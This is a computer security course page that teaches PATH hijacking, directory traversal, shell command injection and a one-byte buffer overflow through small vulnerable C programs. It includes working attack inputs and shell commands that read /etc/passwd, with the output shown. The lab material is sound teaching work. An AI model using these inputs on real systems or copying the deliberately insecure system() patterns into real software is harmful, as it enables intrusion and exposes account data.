Additional Attacks | Computer Security (Fall 2024)

Additional Software Security Attacks #

Below is some additional noes on software security attacks that are not covered in the book, including:

Path Lookup Attack #

What is the PATH? #

In the terminal in UNIX systems, when you type a command in the terminal, such as ls or cat, how does the shell know the command to execute? These are programs, they have to live somwhere, but you don’t have to specify the full path to their location.

To facilitate usage, most shells, like bash, use a path look up procedure. The PATH environment variable sepcifies all the directories in which a command could be found when typed on the terminal. In bash, you can print this variable like so

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin ...

There’s even a command which that tells you which directory a given command lives by searching for it in the path.

$ which cat
/usr/bin/cat

Note that the command cat is often implemented as a shell command in many modern shells, as in, the shell implements it directly without calling the program cat.

Changing the PATH #

The security challenge with path lookup is that the PATH environment variable is controlled by the user, not the programmer. In bash, you can do so quite easily by appending to the list, let’s say a folder in your home directory called ~/bin (note ~ is a stand in for home directory of the current user).

$ export PATH="~/bin:$PATH"

Note the $ in bash is used to reference a variable. So in the command above $PATH is the old value of path, and we’ve just added our new directory ~/bin to the front.

After this change, we can put any sort of program we want in there. For the sake of simplicity, let’s create a short C program that prints “Hello World”

/* helloworld.c */
#include <stdio.h>
#include <stdlib.h>

int main(){
    printf("Hello World!\n");
}
$ gcc helloworld.c -o helloworld
$ ./helloworld
Hello World!

Now that we have a program that prints hello world, we can then move that to our new bin directory that is on the path.

$ mv helloworld ~/bin

And we no longer need to specify the full path, namely ./helloworld to run helloworld.

$ helloworld
Hello World!

That’s because the shell is using the path to locate the program, namely in ~/bin and running it directly.

Yes, the ./ is used to indicate that the program is in the current directly and is thus a fully qualified path to an executable.

PATH Attack #

The manipulation of the PATH environment variable when combined with a common programming mistake can cause a fairly serious vulnerbility. For example, consider the following basic C program that uses the system() command to call out to run another program on the terminal. In this case, it’s call cat to print the contents of a file.

/*lazyprintfile.c*/
#include <stdio.h>
#include <stdlib.h>

int main(){

    system("cat quote.txt");

}

If we compile and run this command, it will print out the content of the file quote.txt to the terminal using the cat.

$ gcc lazyprintfile.c -o lazyprintfile
$ ./lazyprintfile
All of the biggest technological inventions created by man - the airplane, the automobile, the computer - says little about his intelligence, but speaks volumes about his laziness.

But, recall from earlier, we can control how the command cat is found along the path because we can change the path environment variable. Let’s assume we did so like before, and now we create a new program called cat living in ~/bin that prints the contents of /etc/passwd instead!

/*printetcpasswd.c*/
#include <stdio.h>
#include <stdlib.h>

int main(){
    char buf[1024];
    FILE * f = fopen("/etc/passwd","r");

    while(fread(buf,1,1024,f) != 0){
        printf("%s",buf);        
    }

}

We can compile and run it to verify its functionality

$ gcc printetcpasswd.c -o printetcpasswd
$ ./printetcpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
vscode:x:1001:1001::/home/vscode:/bin/bash

Now let’s move the program to ~/bin but named cat … fooling our lazy print file program into printing /etc/passwd instead.

$ mv printetcpasswd ~/bin/cat
$ ./lazyprintfile
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
vscode:x:1001:1001::/home/vscode:/bin/bash

Patching a PATH Attack #

To patch such a vulnerability and avoid them in the future, the programmers should always fully qualify the path of executables they wish to run. For example, like below

/*lazyprintfile.c*/
#include <stdio.h>
#include <stdlib.h>

int main(){

    system("/usr/bin/cat quote.txt");

}

In this version, the program specifis the full path to cat as /usr/bin/cat. When you do this, there’s no look up on the path to find a program because there is a fully qualified path name.

Command Injection Attack #

Let’s assume that the program has wised up to path injection attacks and hows now improved their program from before to allow a user to select a file that they wish written to the screen. Consider the following program:

/* choosewhattocat.c*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){

  char cmd[1024] = "/usr/bin/cat ./"; //will append to this string

  char input[40];

  printf("What input do you want to 'cat' (choose from below)\n");
  system("/bin/ls"); //show available files

  printf("input > ");
  fflush(stdout); //force stdout to print

  scanf("%s",input);//read input

  strcat(cmd,input); //create the command by concatenating the input with the cmd

  printf("Executing: %s\n", cmd);
  fflush(stdout); //force stdout to print

  system(cmd);

}

Even if you might not full understand all the C commands, you can see that the program has ALWAYS used fully qualified path names. This was the attempt to make it so that this program will only cat files in the local directory. What an improvement over before, but there’s still multiple issues.

Here’s an example of the program running

$ ./choosewhattocat
What input do you want to 'cat' (choose from below)
choosewhattocat    helloworld.c   lazyprintfile.c  printetcpasswd.c
choosewhattocat.c  lazyprintfile  printetcpasswd   quote.txt
input > lazyprintfile.c
Executing: /usr/bin/cat ./lazyprintfile.c
/*lazyprintfile.c*/
#include <stdio.h>
#include <stdlib.h>

int main(){

    system("/usr/bin/cat quote.txt");

}

Path manipulation #

The first injection attack is going to be path manipulation attack. Note that . and .. have special meaning in the file path. The single . indicates the current directory, but double .. refers to the parent directory. So we can inject ..’s in this program to instead read a file not in the current directory, say the /etc/password file.

$ ./choosewhattocat
What input do you want to 'cat' (choose from below)
choosewhattocat    helloworld.c   lazyprintfile.c  printetcpasswd.c
choosewhattocat.c  lazyprintfile  printetcpasswd   quote.txt
input > ../../etc/passwd
Executing: /usr/bin/cat ./../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
vscode:x:1001:1001::/home/vscode:/bin/bash

You’ll notice that the filepath that did get cat’ed was:

/usr/bin/cat ./../../etc/passwd

The current directory is /home/username (or .), and then moving .. twice, takes us to / and then forward to /etc/passwd.

Command injection #

The second attack takes advantage that in the shell, you can include multiple commands separated by ; or by && or by ||. The semicolon cmd1 ; cmd2 indicates close one command, like a line end. For cmd1 && cmd2 this indicates that the second cmd2 runs when cmd1 succeeds. Finally, for cmd1 || cmd2 both commands will run similar to ;.

That means, we can try and send in the following command quote.txt; cat /etc/passwd where we first cat quote.txt and then cat /etc/passwd. But when we try this, it doesn’t work.

$ ./choosewhattocat
What input do you want to 'cat' (choose from below)
choosewhattocat    helloworld.c   lazyprintfile.c  printetcpasswd.c
choosewhattocat.c  lazyprintfile  printetcpasswd   quote.txt
input > quote.txt; cat /etc/passwd
Executing: /usr/bin/cat ./quote.txt;
All of the biggest technological inventions created by man - the airplane, the automobile, the computer - says little about his intelligence, but speaks volumes about his laziness.

The reason is that the command scanf("%s",input) reads only one word, space separated. So it never reads the cat /etc/passwd, but if we could send quote.txt;./printetcpasswd it’s all one word – and it works.

$ ./choosewhattocat
What input do you want to 'cat' (choose from below)
choosewhattocat    helloworld.c   lazyprintfile.c  printetcpasswd.c
choosewhattocat.c  lazyprintfile  printetcpasswd   quote.txt
input > quote.txt;./printetcpasswd
Executing: /usr/bin/cat ./quote.txt;./printetcpasswd
All of the biggest technological inventions created by man - the airplane, the automobile, the computer - says little about his intelligence, but speaks volumes about his laziness.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
vscode:x:1001:1001::/home/vscode:/bin/bash

Command injection attacks are also common in other programming languages, such as for SQL. Read more here.

Patching the attack by sanitize input #

The way to fix these kinds of mistakes is to sanitize the input by checking for offensive characters. This leaves us with a program like this.

/*sanitizedwhattocat.c*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(){

  char cmd[1024] = "/bin/cat ./"; //will append to this string

  char input[40];


  printf("What input do you want to 'cat' (choose from below)\n");
  system("/bin/ls"); //show available files

  printf("input > ");
  fflush(stdout); //force stdout to print

  scanf("%s",input);//read input

  //clean input before passing to /bin/cat
  int i;
  for(i=0;i<40;i++){
    if(input[i] == ';' || input[i] == '|' || 
       input[i] == '$' || input[i] == '&' || 
       input[i] == '.'){
      input[i] = '\0'; //change all ;,|,$,& to a NULL
    }
  }

  //concatenate the two strings
  strncat(cmd,input,1024);

  printf("Executing: %s\n", cmd);
  fflush(stdout);

  system(cmd);
}

Overflow Attacks #

Unfortunately, even after all that work, it may not be enough. Let’s consider what happens when we run this program above with some invalid, long input. Before doing that, let’s take advantage of a few tools.

Piping input #

First, consider that I can use a short python command to print a bunch of A’s of various lengths:

$ python3 -c "print('A'*10)"
AAAAAAAAAA
$ python3 -c "print('A'*20)"
AAAAAAAAAAAAAAAAAAAA
$ python3 -c "print('A'*30)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ python3 -c "print('A'*40)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Next, I can use the | to pipe that output to the input

$ python3 -c "print('A'*20)" | ./sanitizedwhattocat
What input do you want to 'cat' (choose from below)
choosewhattocat    helloworld.c   lazyprintfile.c  printetcpasswd.c  sanitizedwhattocat
choosewhattocat.c  lazyprintfile  printetcpasswd   quote.txt         sanitizedwhattocat.c
input > Executing: /bin/cat ./AAAAAAAAAAAAAAAAAAAA
/bin/cat: ./AAAAAAAAAAAAAAAAAAAA: No such file or directory
$ python3 -c "print('A'*30)" | ./sanitizedwhattocat
What input do you want to 'cat' (choose from below)
choosewhattocat    helloworld.c   lazyprintfile.c  printetcpasswd.c  sanitizedwhattocat
choosewhattocat.c  lazyprintfile  printetcpasswd   quote.txt         sanitizedwhattocat.c
input > Executing: /bin/cat ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/bin/cat: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory
$ python3 -c "print('A'*40)" | ./sanitizedwhattocat
What input do you want to 'cat' (choose from below)
choosewhattocat    helloworld.c   lazyprintfile.c  printetcpasswd.c  sanitizedwhattocat
choosewhattocat.c  lazyprintfile  printetcpasswd   quote.txt         sanitizedwhattocat.c
input > Executing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found

This provides us a way to probe the input field.

Performing the Overlfow #

Taking a look at the last input, we see the command changed!

$ python3 -c "print('A'*40)" | ./sanitizedwhattocat
What input do you want to 'cat' (choose from below)
choosewhattocat    helloworld.c   lazyprintfile.c  printetcpasswd.c  sanitizedwhattocat
choosewhattocat.c  lazyprintfile  printetcpasswd   quote.txt         sanitizedwhattocat.c
input > Executing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found

We can see the problem here:

char cmd[1024] = "/bin/cat ./"; //will append to this string

char input[40];

These are aligned. So when we input 40 A’s, we fill up the input completely, and because in C every string is null terminated (a special character), we have 40 A’s plus 1 null character, for 41 bytes. This overflows the array overwriting the first byte of the cmd array to a null character. This means, the two strings, prior to concatenation look like this.


char cmd[1024] = "\0in/cat ./";
char input[40] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 

The strncat command takes the input strings and appends it to cmd starting at the null byte, which is now at the beginning. Resulting in cmd being 40 A’s!

Putting it all together #

So we can get this program to execute a different command to cat, can we make that command do something interesting? Yes. We can create a program called AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA that is on the path, and when run, prints /etc/passwd

$ cp printetcpasswd ~/bin/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ export PATH="$HOME/bin:$PATH"   # make sure it's on our path
$ python3 -c "print('A'*40)" | ./sanitizedwhattocat  #HACK! 
What input do you want to 'cat' (choose from below)
choosewhattocat    helloworld.c   lazyprintfile.c  printetcpasswd.c  sanitizedwhattocat
choosewhattocat.c  lazyprintfile  printetcpasswd   quote.txt         sanitizedwhattocat.c
input > Executing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
vscode:x:1001:1001::/home/vscode:/bin/bash